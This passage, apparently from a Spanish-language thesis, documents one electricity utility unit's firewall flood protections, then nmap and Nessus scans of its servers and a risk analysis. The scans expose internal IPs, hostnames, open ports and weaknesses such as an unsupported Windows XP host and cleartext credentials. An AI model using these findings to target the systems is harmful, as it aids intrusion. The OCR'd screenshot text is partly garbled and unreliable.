el perfil de acceso correspondiente al dispositivo de acceso para
permitir el acceso del cliente a la red de datos.

Los clientes no compatibles que estan en la red cuarentena, seran
re-evaluados posteriormente a la revision de los requerimientos
faltantes para garantizar el acceso a la red.

Que la Unica fuente de autenticacidén para todos los sistemas de
informacidén son los usuarios definidos en el Directorio Activo
corporativo.

El método de autenticacién usados en los sistemas de informacion

masivas, estan basado en algo conocido, la clave
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¢ El método de autenticacion usados en los sistemas de informacién
especiales, estan basado en algo conocido mas algo poseido
(certificado digital emitido por una entidad certificadora, contenida

en un dispositivo usb tipo token)

4.8. Definir politicas para evitar ataques de Denegacién de Servicios.

e El estandar ISO 27001 tiene un especial enfoque la preservacion de
la confidencialidad, integridad y disponibilidad de la informacion.

e El objetivo es “garantizar la disponibilidad de los servicios
informaticos prestados en cada de las UN".

e Se recomienda aplicar como mejores practicas, la proteccion contra
atagues por inundacion de paquetes.

e Todos los terminales que se conecte a la infraestructura de la red
tecnologica de CNEL EP de forma directa, que se detecte que
genere trafico inusual con el objetivo de saturar la red de datos,
sera identificado y bloqueado de forma automatica hasta que el

software calificado como ataque sea bloqueado o desinstalado.

La implementacion de esta politica se la realizara con los firewall

instalado en cada UN, activando la opcion proteccion de seguridad

A continuacién se procede a explicar la activacion y proteccion en forma

detallada

4.8.1. Defensa de ataques
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La proteccion contra ataques por inundacion esta configurada
para descartar los paquetes y generar alarma, y la interface que

se elegira es la expuesta al Internet VLAN 501 que tiene

asociada la IP publica

Secospace

HUAWE]

» | System I

> Metwork
Attack Defense Setting

> | Roulr —) Attack Defense Type
v  Firewall 3 Traffic Type
) Security Protection - @ SYN Flood
e Attack Defense » o UDF Flood
@ Blacklist @ ICMF Flood
o Whitelist o ARP Flood
o IP-MAC Binding — Application Layer
{E Address © SIP Flood
&£ Service I @ HTTP Flood
3& Application Protocal e Connection Flood
(4 Schedule o Scan
 — d @ Malformed Packet
L o Special Packet Control

Figura 4.21: Firewall activando proteccion de seguridad

4.8.1.1. SYN FLOOD
El ataque consiste en enviar una gran cantidad de

paquetes SYS TCP que causa masivas conexiones

incompletas TCP ocupando recursos.

Se configura la opcién de deteccion basada en la

deteccion de fuente, es decir el firewall comprueba si la
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direccion IP fuente existe, si no existe el paquete es

descartado; caso contrario es enviado a una lista blanca,

Configure SYN Flood Attack Defense

Defense Function +~| Enable

TCP M3S 1460 =100-1460=Byte

When TCP proxy-based SYN flood attack defense is enabled and the Maximum Transfer
Unit (MTU) of the interface on the network is relatively small, setthe TCP MSS value
to be smaller than the MTU value;otherwise, certain TCP services maybe affected.

Apply

Source Detection-based (Recommended) TCP Proxy-based (Optional)

aF Add 38 Delete ® Refresh 08 Global Settings
Interface Alarm Rate

Maximum Rate
Wlanifao1 16000

500000
Page 1 of 1

Figura 4.22: Activando proteccion contra SYN FLOOD

4.8.1.2. UDP FLOOD

Configure UDP Flood Attack Defense

Defense Function +| Enable

Session-based UDP Flood Attack Defense

Maximum Session Rate 1000 =1-65535=pps

Set UDP Flood Fingerprint Parameters

Default Fingerprint +| Enable

Source Fingerprint Matching Rate 3 =1-1024=Times/Second

Destination Fingerprint Matching Rate 5 =1-1024=Times/Second

Apply

Interface-based (Recommended) SourceZone-based (Optional) DestinationZone-based (Opti

% Add 3§ Delete ) Refresh

Source Zone Alarm Rate

500

Maximum Rate
1000

untrust

Figura 4.23: Proteccion con ataques UDP Flood X zona
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El atacante envia gran cantidad de paquetes UDP al
firewall que ocupan ancho de banda, como resultado se

satura y no puede seguir brindando el servicio externo.

La defensa se basa en limitar el nUmero de paquetes por

interfaces, zonas de seguridad o sesiones.

4.8.1.3. ICM FLOOD
Envia gran cantidad de paquetes ICMP para ocupar
ancho de banda en el servidor, como resultado el
servidor no brinda los servicios externos. Para evitar el
ataque se limita la cantidad de paquetes ICMP que
pueden circular por interfaces, zonas o sesiones.

Configure ICMP Flood Attack Defense

Defense Function | Enable

Session-based ICMP Flood Attack Defense

Maximum Session Rate 255 =1-255=pps
Apply

Interface-based (Recommended) Zone-based (Optional)

9F Add ¥ Delete ® Refresh
Zone Maximum Rate
untrust 1000

Figura 4.24: Proteccién con ataques ICMP Flood X zona

4.8.1.4. ARP FLOOD
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Puesto que hay diferentes tipos de paquetes broadcast y
ARP, los paquetes ARP son usualmente utilizados para
evitar ataques. El firewall puede defenderse de los
ataques de inundacion ARP mediante el control del

umbral de los paquetes ARP recibidos por interfaces

Configure ARP Flood Attack Defense

Defense Function +| Enable
Apply
Interface-based

9° Add 38 Delete ® Refresh [ Global Settings

Interface Maximum Rate

Page 1 of 1

Figura 4.25: Proteccion con ataques ARP Flood

4.8.1.5. SIP FLOOD

Configure SIP Flood Attack Defense

Defense Function +| Enable
Start Port 5060 =1-65535=
End Port 5060 =1-65535=
Apply
IP Address-based (Optional) Zone-based (Optional)

e Add 38 Delete @ Refresh

IP Address Alarm Rate Maximum Rate Source D

172.19.192.31 500 65535 On

Figura 4.26: Proteccion con ataques SIP Flood



4.8.1.6.

105

Un ataque consiste en enviar una gran cantidad de
paquetes SIP en un periodo muy corto de tiempo,
agotando los recursos del servidor y o ancho de banda.
La defensa consiste en limitar la tasa de paquetes SIP

basado en direcciones IP o0 zonas de seguridad

HTTP FLOOD

Consiste en enviar una gran cantidad de paquetes HTTP
al servidor a través del servidor directamente o a través
de una bots. Como resultado, los recursos del servidor se
consumen, y el servidor no puede responder a las
solicitudes normales. Para defenderse de estos ataques
el firewall controla la velocidad de los paquetes HTTP por

interfaces

Configure HTTP Flood Attack Defense

Defense Function +| Enable
Apply
Source Detection—based

&) Reset @ Refresh [ Global Settings
Interface Alarm Rate Maximum Rate
GEO/I0 8000 500000
GE0/OM 8000 500000
GEO/M2 2000 500000
GEO/MOI3 8000 500000
Wlanif1 8000 500000
Vlanifs01 8000 500000

Page 1 of 1

Figura 4.27: Proteccion con ataques HTTP Flood
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4.8.1.7. Conexiones flood
El ataque consiste en crear conexiones completas TCP
sin subsecuencias de paquetes, consumiendo los
recursos del atacado. Las conexiones TCP completas
sin transmisiones de paquetes se considera como una
conexion anormal, y la defensa consiste en limitar el

nimero de conexiones anormales.

Configure Connection Flood Attack Defense

Defense Function +| Enable

Abnormal Session Number |30 | <1-255=Times Statistical Interval | 15 | =1-240=Second
Minimum Packet Mumber | 1 =1-256=Packet Statistical Interval | 30 | =1-240=Second
Blacklist Aging Time 20 =1-1000=Minute

Apply

Figura 4.28: Proteccién por inundacién de paquetes

4.8.1.8. SCAN

Configure Scan Type Attack Defense

MIIP Sweep
Maximum Scanning Rate | 4000 =1-10000=pps
Blacklist Aging Time 20 =1-1000=Minute

¥l Port Scanning

Maximum Scanning Rate | 4000 =1-10000=pps
Blacklist Aging Time 20 =1-1000=Minute
Apply

Figura 4.29: Proteccion de deteccion de puertos
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Este ataque principalmente incluye escaneo de
direcciones IP y puertos. En un ataque de barrido a una
direccion IP el atacante envia paquetes IP TCP, UDP,
ICMP para verificar si hay cambios y encontrar hosts y
redes existentes. De esta manera, los objetivos
potenciales de ataque pueden ser detectados con
precision. El escaneo de puertos TCP y UDP quiere decir
que el atacante puede detectar sistema operativo y
servicios potencialmente atacados. Mediante la
exploracion, el atacante mas o menos puede aprender
los tipos de los servicios que ofrece el sistema y las
posibles vulnerabilidades de seguridad, para prepararse

para una mayor intrusion en el sistema de destino.

Malformaciones de paquetes

En un atacante de paquetes mal formados, el atacante
envia paquetes IP defectuosos al sistema destino. El
sistema destino puedo encontrar errores o bloquear los
paqguetes si asi lo determina. Este tipo de ataques incluye

PING de la muerte y ataque de fragmentacion



Configure Malformed Packet Attack Defense

Defense Function +| Enable All
+'| |P Spoofing Attack Defense
«| Teardrop Attack Defense
+'| Ping of Death Attack Defense
| WinMuke Attack Defense
+'| TCP Flag Defense
+| UDP Short Header Attack Defense
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+'| IP Fragment Defense
«| Smurf Attack Defense
+'| Fraggle Attack Defense
+| Land Attack Defense

| ARP Spoofing Defense

Figura 4.30: Proteccion contra paquetes mal formados

4.8.1.10. Configuracion de paquetes especiales

Es un ataque especial de paquetes, el atacante utiliza

paquetes legitimos para sondear las redes o detectar

datos. Los paquetes utilizados son los paquetes de

aplicaciones legitimas, pero rara vez se utlizan en las

redes

Configure Special Packet Control Attack Defense

Large ICMP Packet Control

Maximum Length | 4000

+| ICMP Unreachable Packet Control

+| Tracert Attack Defense

=28-65535=Byte

v ICMP Redirection Packet Control

Apply

Figura 4.31: Proteccion de paquetes especiales

4.8.2. BlackList

Después de habilitar esta funcion, al percibir un intento de ataque

por parte del usuario con una direccion IP especifica, de acuerdo

con el comportamiento de los paquetes, el sistema afiade

autométicamente la direccion IP a la lista negra y filtra los

paguetes enviados desde esta direccion IP para proteger la red.



Configure Blacklist

Blacklist Function

Blacklist

o Add 38 Delete ® Refresh
IP Address
1721922013
172192036
172.19.195.30

+| Enable

Aging Time
20 minutes
20 minutes
20 minutes

Bind ACL Number 3000

(S} Query
Generation Time
2015M1/02 14:10:45
2015M1/02 14:28:56
2015M1/02 14:09:48
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Apply

Left Time
2 minutes
20 minutes
1 minutes

Figura 4.32: Proteccion contra listas negras.

Las direcciones IP calificadas en listas negras tienen un tiempo de

20min de envejecimiento que permanece bloqueo, que después de eso

se liberan autométicamente. Se configura una ACL asociada a la accion

gue va a realizar, para el ejemplo se incluye la 3000 que tiene la politica

5 que bloquea todo el trafico

4.8.3. WhileList

Configure Whitelist

Aging Time [1200

Whitelist
® Refresh
Address

Page 1 of 1

Statistics

Total
0

Page 1 of 1

=1-40000=5econd

4 Query

SYN Flood Attack

Apply

Generation Mode

HTTP Flood Attack
0

Generation Time

SIP Flood Attack Other
0 0

Figura 4.33: Lista blanca analizadas en SYN, HTTP y SIP

Es utilizada en la defensa de los ataques de inundaciones: SYN,

HTTP, SIP. Después de recibir un ataque de paquetes y se

verifica el origen la legitimidad de la direccion IP. Si la direccion
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IP es legitima, se afiade a la WhileList, caso contrario se

descarta

4.8.4. IP-MAC Binding
La direccion MAC estd asociada una direccion IP, si se recibe
una IP con otra direccion MAC el paquete es descartado. Cuando
un paquete es enviado a una direccion IP se forza el envio a la

direccion MAC registrada, ver figura

Configure IP-MAC Binding

IP-MAC Binding Function +| Enable
IP-MAC Binding List
¢ Add 88 Delete @ Refresh . . . &, query
IP Address MAC Address
172.19.192.24 2c27-d711-8101

Fage 1 of1

Figura 4.34: proteccion IP-MAC Binding, asocia IP con MAC



CAPITULO 5

DESARROLLO DE LAS PRUEBAS DE

VULNERABILIDAD

5.1. Desarrollar pruebas de vulnerabilidad.

Debido al rol desempefiado en la jefatura de tecnologia de la UN Los
Rios, la experiencia alcanzada por los afios de trabajo y el conocimiento
adquirido de toda la organizacién, se considera que el tipo de hacking

gue se va arealizar es del tipo caja blanca.

Las pruebas se realiza desde un computador de escritorio ubicado en el
edificio principal de la UN Los Rios, conectado a un switch de acceso,
en cascada con el switch de CORE, cuyo puerto esta configurado con la

VLAN's 105.
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Este computador tiene funcionalidades de servidor de maquinas
virtuales, con el sistema operativo ESXi VMWare ESXi 6.0.0, 3029758
gue contiene las siguientes maquinas virtuales:

e KaliLinux: Incluye programa de auditoria y seguridad informética.

e pfSense: Distribucién de FreeBSD para uso de firewall y router.

e Windows XP: Maquina de prueba de las herramientas de Kali Liux.

File Edit View Inventory Administration Plug-ins Help

@ @ €Yy Home P gf Inventory P [E Inventory

& @

= [ 52-19-195-10 MSIA-ESXi VMware ESXi, 6.0.0, 3029758 | Evaluation (45 days r
Kali Linux
& pfSense Getting Started EENulLELM Virtual Machines | Resource Allocation
Wi P
Eﬁ' indows General
Manufacturer: Hewlett-Packard
Model: HP ProDesk 600 G1 5FF
CPU Cores: 4CPUs x 3,192 GHz
Processor Type: Intel(R) Core(TM) i5-4570
CPU @ 3. 20GHz
License: Evaluation Mode -

Figura 5.1: Entornos virtuales con herramientas de pruebas

A continuacién se detalla los resultados encontrados por fase del

pentesting.

5.1.1. Fase de reconocimiento o Footprint

Después de definir la matriz de riesgo se ha definido los activos

mas importantes de la UN Los Rios, y se detalla las direcciones

IP.
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Servidor EXSi sALTRAL

Nomina
SERVIDORES
LOCALES

SWCORE

CNEL UNLOSRIOS

Figura 5.2: Esquema de red de pruebas de vulnerabilidad

Tabla 7: Activos definidos en la matriz de riesgo

Nro Activo

Firewall UN

Switch de CORE UN

Servidor Comercial prepago UN

Servidor Comercial UN

Servidor Financiero CNEL EP

Servidor Némina CNEL EP

N0 [WIN|F-

Servidor Directorio Activo

Fase de escaneo y enumeracion.

e nmap: determinar los puertos abiertos, los programas
asociados a esos puertos, sistema operativo

e nexpose nessus: Buscar las vulnerabilidades asociados a las
aplicaciones asociadas a las aplicaciones de los puertos
abiertos

e nkito: Busca wulnerabilidades sqgl injection en aplicaciones

web.

5.1.2.1. Firewall:
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Figura 5.3: nmap listando puertos y SO del firewall

172.19.192.50

Summary
Critical High
0
Details
Severity Plugin Id
51182
42283
5582

Medium Low Info Total

Name

SEL Certificate Cannot Be Trusted
Unencrypted Telnet Server

Web Application Potentially Vulnerable to Clickjacking
Web Server Transmits Cleartext Credentials
FTF Server Detection

HTTP Server Type and Version

Telnet Server Detection

Traceroute Information

Web Server Mo 404 Ermor Code Check

Web mirroring

S5L Certificate Information

Figura 5.4: Vulnerabilidades firewall detectadas X nessus

5.1.2.2. SWITCH DE CORE:
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Figura 5.5: nmap listado de puertos y SO del SW CORE

Summary
Critical High
0
Details
Sewverity Plugin Id
42263

Medium Low Info Total

Mame

Unencrypted Telnet Server

HTTP Server Type and \Version

ICMP Timestamp Request Remote Date Disclosure
Telnet Server Detection

Traceroute Information

Messus 5N scanner

Q5 ldentification

Messus Scan Information

Service Detection

HyperText Transfer Protocol (HTTR) Information

Figura 5.6: nessus vulnerabilidades del SW CORE

5.1.2.3. Servidor comercial prepago de la UN
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Summary
Critical High Medium Low Info Total
1 1 25 33
Details
Severity Plugin Id Name
m 73182 Microscft Windows XP Unsupporied Installation Detection
42283 Unencrypted Telnet Server
50886 IP Forwarding Enabled
18405 Microsoft Windows Remote Desktop Protocol Server Man-in-thi
Weakness
26920 Microsoft Windows SMEB NULL Session Authentication
mrane SMB Signing Required
57680 Teminal Services Encryption Level is Medium or Low
m 30218 Teminal Services Encryption Level is not FIPS-140 Compliant
_ 10107 HTTP Server Type and Wersion
_ 10114 ICMP Timestamp Request Remote Date Disclosure
_ 10150 Windows NetBIOS / SMB Remote Hest Information Disclosure
_ 10281 Telnet Server Detection
_ 10287 Traceroute Information
_ 10342 VHC Software Detection
_ 10384 Microsoft Windows SMEB Log In Possible

Figura 5.7: nessus vulnerabilidades del Prepago

:~# nmap -sT -sV -0 &

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-08 18:27 ECT
Nmap scan report for 172.19.192.23
Host is up (0O 32s latency) .
Not shown: 99 ) S
PORT STATE VERSION
open telnet soft Windows XP telnetd
open msrpc icrosoft Windows RPC
open netbios-ssn Microsoft Windows 98 netbios-ssn
open 9l4c-g?
open microsoft-ds Microsoft Windows XP microsoft-ds
open ms-wbt-s er Microsoft Terminal Service
open vnc-http RealVNC E4
; open vnc RealVNC Enterprise (protocol 4.1)
Device type: general purpose
: Microsoft Windows XP|2003
o:microsoft:windows_xp cpe:/o:microsoft:windows_server_ 2003
s: Microsoft Windows XP SP2 or SP3, or Windows Server 2003, Microsoft W
2 or Windows Server 2003 SP2

Figura 5.8: nmap puertos y SO del Prepago
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Tabla 8: Vulnerabilidades encontradas por nessus en Prepago

Vulnerabilidad

Nivel [ExplotablelObservaciones
Riesgo

Sin soporte por e
\Vendedor

Alto No Microsoft ~ Windows
XP no tiene soporte

5.1.2.4. Servidor Comercial

at 2015-11-08 18:49 ECT

6 FTPd
60 teln
4M0 or

Apache httpd
Lotus Notes Expeditor httpd 6.

Lotus Expeditor Web Container 6

Lotus

Lotus

CIM serverOpenPegas

GOB.EC; 0Ss: 0S/4060, Linux; CPE: cpe|

Figura 5.9: nmap puertos y SO del Servidor Comercial

El nmap no puede

determinar el sistema operativo del

servidor Comercial, pero si los puertos que se encuentran

abiertos.
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Summary
Critical High Medium Low Info Total
0 ] 25 37
Details
Severity Plugin Id MName
51182 SSL Certificate Cannot Be Trufted
57582 S5L Seif-Signed Certificate

LDAP NULL BASE Search Access

20007 S5L Version 2 and 3 Protocol Detection

81606 SSLTLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)
26028 S5L Weak Cipher Suites Supported

42873 S5L Medium Strength Cipher Suites Supporied

65821 S5L RC4 Cipher Suites Suppaorted (Bar Mitzvah)

SELv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability

({FOODLE)

83738 SSLUTLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported
{Logjam)

83875 SSLTLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)

3s2e S5L Cerificate Signed Using Weak Hashing Algorithm

10092 FTP Server Detection

10107 HTTP Server Type and Version

10114 ICMP Timestamp Request Remote Date Disclosure

Figura 5.10: nessus vulnerabilidades del SRV Comercial

5.1.2.5. Servidor Financiero de CNEL EP

Figura 5.11: nmap puertos y SO del Servidor Financiero
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Summary
Critical High Medium Low Info Total
0 2 39 53
Details

Sewverity Plugin Id Hame
51192 S5L Ceriificate Cannot Be Trusted
57582 SEL Self-Signed Certificate
18405 Microsoft Windows Remote Deskiop Protocel Server Man-in-the-Middle

Weakness
20007 ESEL Version 2 and 3 Protocol Detection
5411 SEL Certificate with Wrong Hestname
57a08 EMB Signing Required
57a00 Teminal Services Encryption Level is Medium or Low
528453 Teminal Services Doesn't Use Metwork Level Authentication (MLA) Only
5821 SEL RC4 Cipher Suites Supported (Bar Mitzvah)
78470 SELv3 Padding Oracle On Downgraded Legacy Encryption Yulnerability
(FOODLE)

BE582 Web Application Potentially Vulnerable to Clickjacking
35201 SEL Cenificate Signed Using Weak Hashing Algorithm
30218 Teminal Services Encryption Level is not FIPS-140 Compliant

SEL Cenificate Chain Contains RSA Keys Less Than 2048 bits
10107 HTTP Server Type and Version

10114 ICMP Timestamp Request Remote Date Disclosure

Figura 5.12: nessus vulnerabilidades del SRV Financiero

5.1.2.6. Servidor Né6mina de CNEL EP

:~# nmap -sT -sV -0

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-08 18:57 ECT
Nmap scan report for 172.30.1.193

Host is up (0.0097s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

22/tcp lopen ssh OpenSSH 5.3 (protocol 2.0)

80/tcp open http Apache httpd 2.2.15
Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux_kernel:2.6

0S details: Linux 2.6.32

Network Distance: 7 hops

Service Info: Host: n@.polux.cnel

Figura 5.13: nmap puertos y SO del Servidor Némina
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Summary
Critical High Medium Low Infim Total
1] 2 12 16
Details
Severity Plugin Id Name
12085 Apache Tomcat serviet')3F container default files
85582 Web Application Potentially Vulnerable to Clickjacking
m 26104 Web Server Transmits Cleartext Credentials
m 34850 Web Server Uses Basic Authentication Without HTTPS
_ 10882 Web mirroring
_ 11032 Web Server Directory Enumeration
_ 11218 Messus SYM scanner
_ 20108 Web Server / Application favicon.ico Vendor Fingerprinting
_ 24280 HyperText Transfer Protocel (HTTP) Information
_ 33817 C Gl Genenic Tests Load Estimation (all tests)
_ 38470 CiG5l Generic Tests Timeout
_ 42057 Web Server Allows Password Aufo-Completion
_ 43111 HTTP Methods Allowed (per directony)
_ 47830 CiGl Generic Injectable Parameter

Figura 5.14: nessus vulnerabilidades del SRV Némina

5.1.2.7. Directorio Activo

icr

Figura 5.15: nmap puertos y SO del Directorio Activo
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Summary
Critical High Medium Low Infio Total
1] o 1 35 43
Details
Severity Plugin Id HName
51182 S5L Cerificate Cannot Be Trusted
57582 S5L Self-Signed Certificate
18405 Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle
Weakness
12217 DMNS Server Cache Snooping Remote Information Disclosure
57680 Teminal Services Encryption Level is Medium or Low
58453 Terminal Services Doesn't Use Network Level Authentication (NLA) Onty
865821 SEL RC4 Cipher Suites Supporied (Bar Mitzvah)
30218 Temminal Services Encryption Level is not FIPS-140 Compliant
_ 10150 Windows NetBIOS / SMB Remote Host Information Disclosure
_ 10287 Traceroute Information
_ 10384 Microsoft Windows SMB Log In Possible
_ 10736 DCE Services Enumeration
_ 10785 Microsoft Windows SMB MNativeLanManager Remote System Information
Disclosure
_ 108683 EEL Ceriificate Information
_ 10884 MNetwork Time Protecal (NTP) Server Detection
_ 10840 Windows Terminal Services Enabled
_ 11002 DNS Server Detection
_ 11011 Microsoft Windows SMB Service Detection

Figura 5.16: nessus vulnerabilidades del Directorio Activo

En el anexo 1 se puede resumir todas las pruebas
realizadas a todos los activos, el sistema operativo, el
nombre del equipo, los puertos abiertos clasificados como
TCP o UDP, la version de las aplicaciones abiertas, el tipo
de riesgo, si son explotables o no y algunas

observaciones.
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Tabla 9: Vulnerabilidades en los activos de la UN Los Rios

Nombre PIataforrpa del Sistema Vulnerabilidades
Operativo detectada |criticas |Altas |Medias |Baja
Servidor Comercial IBMi5/0S V6 0 0 12 0
Servidor RR.HH Linux2.6.3 0 0 1 2
Servidor Financiero Windows 2008 Server 0 0 15 2
Servidor Directorio Activo  |Windows 2008 Server 0 0 7 1
Sistema comercial prepago [Windows XP 1 0 2 0
Firewall VRP Version 5.30
Switch de CORE Quidway V200R001CO0PC300
TOTAL 1 0 37 5

5.2. Medir el riesgo y calcular el impacto generado.

Para medir el riesgo se deberian comparar los niveles de riesgo frente a

los criterios para la evaluacion del riesgo y sus criterios de aceptacion.

Las decisiones como la evaluacién del riesgo, se basan en el nivel
aceptable de riesgo. Sin embargo hay que considerar las
consecuencias, la probabilidad y el grado de confianza en la
identificacion y el analisis del riesgo. La agrupacién de variados riesgos
bajos o medios puede dar como resultado riesgos globales mucho méas

altos y es necesario tratarlos segun corresponda.

La evaluacion del riesgo se obtiene mediante el analisis del riesgo para

la toma de decisiones sobre acciones futuras.

Al final se obtiene un listado de riesgos con prioridad de acuerdo con
los criterios de evaluacién del riesgo, con proporcién a los escenarios

de incidente que llevan a tales riesgos y se evalla las consecuencias
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como son la pérdida de la disponibilidad, confidencialidad y la

integridad.

5.2.1. Servidor Comercial

Pérdida de la disponibilidad

Se genera cuando el Unico proveedor de servicio ISP de los
enlaces de datos y de Internet se cae la comunicacion en el Data
Center, los procesos de recaudacion se paralizaba tanto en las
ventanillas de CNEL EP como en el sistema financiero, llegando
a producir hasta una pérdida econdmica de hasta un dia de

recaudacion.

Pérdida de la integridad

Debido a la deficiencia del sistema comercial fue necesario
desarrollar aplicaciones que genere reportes para los organismos
de control, donde es necesario tener acceso directo con la base
de datos, creando tablas y procedimientos almacenados. Por la
falta de un ambiente de prueba, se cometieron “errores” de

buena fe, borrando gran parte la informacién de los clientes.

Pérdida de la confidencialidad

Debido al cambio de la matriz productiva promovida por el
gobierno nacional, que fomenta la adquisicién de las cocinas de
induccion  eléctrica, algunas empresas vendedoras de

electrodomésticos “consiguieron” copias de la base de datos de
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los clientes de CNEL EP y del MIES, para chantajear a las
personas que cobran el bono de desarrollo humano BDH,
obligandolas a firmar documentos, certificando que han adquirido

la cocina.

5.2.2. Servidor Comercial Prepago

Pérdida de la disponibilidad

El UPS instalado en el data center local de la UN, suministra
energia no solo al area de servidores, sino a equipos de otras
areas de trabajo, pero debido al crecimiento de Ila
infraestructura de tecnologia, este UPS no soporta la carga
actual, dejando de funcionar después de media hora de uso

ininterrumpido.

Pérdida de la integridad

Debido que la aplicacion fue desarrollada en Windows XP para
generar codigos de seguridad a través de hardware adicional, el
servidor instalado en un computador de escritorio no cuenta con

un sistema redundante de almacenamiento como son los RAID

Pérdida de la confidencialidad.

La recaudaciéon prepago funciona con un software en modo
cliente — servidor. En el servidor debe de ejecutarse

manualmente el programa y el cliente corre en cualquier
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computador que se encuentre instalado el programa. Debido a
la falta de autenticacion con certificados digitales, las claves de
acceso de los clientes y servidor son transmitidas en texto

plano.

5.2.3. Servidor Financiero

Pérdida de la disponibilidad

Debido al uso concurrente de la aplicaciéon web en todas las UN y
por agregar los médulos de activos fijos y bodega, los recursos

asignados al servidor virtual no son suficientes, generando

problemas de cumplimiento ante los organismos de control.

Pérdida de la integridad

La informacién almacenada en la base de datos, puede sufrir
alteraciones en el almacenamiento de la data generado por
pequefios bajones de voltaje indetectables por el UPS, que no
logran ser corregidos por el sistema de archivo. Estas
inconsistencias en la data almacenada generan alertas en logs
de la base de datos, que deben ser supervisados periédicamente

por personal técnico para su inmediata correccion.

Pérdida de la confidencialidad

La aplicacion WEB se ejecuta sobre el puerto http y no https,

permitiendo capturar facilmente las credenciales de los
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administradores del trafico en la red de datos, pudiendo causar
una pérdida total de la informacion, alteracion o simplemente una
copia ilegal de la informacién para usos no identificados, que

pudiera causar un dafio moral y/o econémica sin precedentes.

Servidor Nomina

Pérdida de la disponibilidad

Debido a los procesos de ejecucion del célculo de la némina del
rol de pago, generada en dos periodos mensuales, realizada
concurrente en todas las UN, el servidor experimentaba una
saturacion en su rendimiento, causando la indisponibilidad del
servicio, generando retrasos en el procesamiento de la
informacién y por consiguiente retraso en la entrega de la
informacion, causando multas ante organismos de control como

el IESS

Pérdida de la integridad

Debido a la limitacion del recurso humano en UN pequefias, una
misma persona puede estar asociada con varios roles, entre ellos
administrador de base de datos, programador y jefe de la
seccion, sin que exista un control de cambios y una auditoria de
los datos, se presta para manipular la informacion y alterar los

roles de pago para su beneficio personal.
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Pérdida de la confidencialidad

Debido que la aplicacion web transmite las credenciales en texto
plano y el acceso remoto utliza certificados wulnerables,
facilmente se pueden capturar las credenciales en la red de
datos con la finalidad de manipular el servidor, hacer copias de
programas fuentes, base de datos o simplemente hacer réplicas

para usos no definidos con potenciales dafios hacia la institucion.

Servidor Directorio Activo

Pérdida de la disponibilidad

Debido a la cantidad de usuarios que tienen que logonearse
diariamente contra el servidor del directorio Activo, el servidor no
podria atender oportunamente los requerimientos de cada

usuario, generando largos periodos de tiempo de espera.

Pérdida de la confidencialidad

Debido que el eslabon méas débil de la cadena de seguridad no
son los equipos ni los programas informaticos, sino que son las
personas, Yy aprovechando Ila wvulnerabilidad del tipo de
autenticacion de los usuarios, basado en “algo que el usuario
sabe” que es la clave, facilmente se puede utilizar cualquier
terminal para conseguir acceso a la administracion del servidor

del directorio activo y utilizar el listado de los usuarios como
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fuente de informacion para probar estos usuarios en futuros

ataques a otros sistemas de CNEL EP.

5.2.6. Firewall

Pérdida de la disponibilidad

Debido que existe un Uunico firewall en la UN, existe la
probabilidad que pueda fallar y dejar de operar toda la UN por no
tener contingencia, causando serios problemas administrativos,

operacionales y financieros.

5.2.7. Switch de CORE

Pérdida de la disponibilidad

Son las mismas consideraciones que el firewall, si se tiene un
punto de falla, se requiere tener contingencia, debido que el

riesgo y el impacto son altos.

Esta matriz de riesgo, se gener6 basado a la encuesta realizada

al equipo de tecnologia de la UN Los Rios, donde se promedio

las opiniones de los cuatro técnicos.

5.3. Medir los tiempos de repuesta para bloquear a usuarios.

El analisis de este item tiene como objetivo calcular el tiempo minimo
gue requiere un técnico, para bloquear completamente a una persona

de CNEL EP, todos los accesos a todos los sistemas de informacion,
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incluyendo los equipos terminales como computadoras o dispositivos

moviles.

Tabla 10: Evaluacién de la matriz de riesgo

Riesgo Inherente
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Considerando que no existe un usuario Unico valido para todos los

Sistemas de Informacién, y que se han creados usuarios sin control no

homologados por cada aplicativo, se debe de proceder a bloquear

manualmente cada usuario creado en cada sistemas asociado a una

persona que se desea bloquear. La mayoria de los usuarios se

bloguean remotamente a través del mismo sistemas de informacion,

pero existen sistemas que no permiten hacer esta accion remotamente,

debido que el proceso de alta, modificacién o eliminacién debe de

hacerse en directamente en el dispositivos fisicos, como es el caso de
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las huellas dactilares, registradas en los relojes biométricos instalados

en cada agencia.

Para calcular el tiempo de blogueo, se toma como ejemplo un caso real
presentado en la UN Los Rios, donde la gerencia solicitd anular todos
los accesos a un trabajador que se desempefiaba como programador
en el area de tecnologia con privilegios de administrador, debido que su
contrato se da por terminado de forma unilateralmente por mantener

diferencias de criterio con el administrador.

En esa tarde se procedié a bloquear todos los usuarios relacionados
con el trabajador, incluido las huellas dactilares, y se cambio las claves

en los servidores que el administraba.

El problema se detecté al siguiente dia, dos aplicaciones dejaron de
funcionar inmediatamente después de bloquear los usuarios del
programador. Se revisé el cddigo fuente de las dos aplicaciones y se
encontrd, que la causa del problema se debia, que habia usado una de
los usuarios bloqueados, que servia para autenticarse con la base de
datos desde la aplicacion. Se soluciona el problema después de una
semana, se volvi6 a compilar las aplicaciones y se soluciona el

inconveniente.

Debido este antecedente es necesario tomar consideraciones

especiales en la desvinculacion del personal de tecnologia, creando
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politicas en la GTl o GSI que permitan implementar procedimiento de

controles mas afectivo y evitar contratiempos.

Tabla 11: Tiempo empleado para bloquear un empleado de CNEL EP.

Nro Sistema de Informacion Tiempo

(min)

1 [Bloqueo del usuario del Directorio Activo 5

2 |Bloqueo del usuario del Correo Electronico 5

3 |Bloqueo de usuario del reloj biométrico 5

4 |Blogueo de la IP asighada al computador 20

5 |Bloqueo del puerto de red asociado al computador 30

6 |Cambio de clave administrador en servidores 10

locales

7 |Cambio de clave del wusuario utlizado en 2,400
aplicaciones

TOTAL 2,475

Debido a la experiencia adquirida, se propusieron cambios en el
desarrollo de aplicaciones de la UN, donde las credenciales utilizadas
para logonearse son las definidas en el directorio activo y el acceso
hacia la base de datos depende del perfil del usuario asociado al
Sistema de Informacion. Cabe aclarar que no todos los sistemas de
informacién soportan este esquema de trabajo y se ha optado por
utilizar los mismos usuarios creados por los sistemas de informacion ya

creados.

El bloqueo en el directorio activo y el switch son procesos manuales.
Para bloquear un usuario en el switch de acceso o un Access Point, se
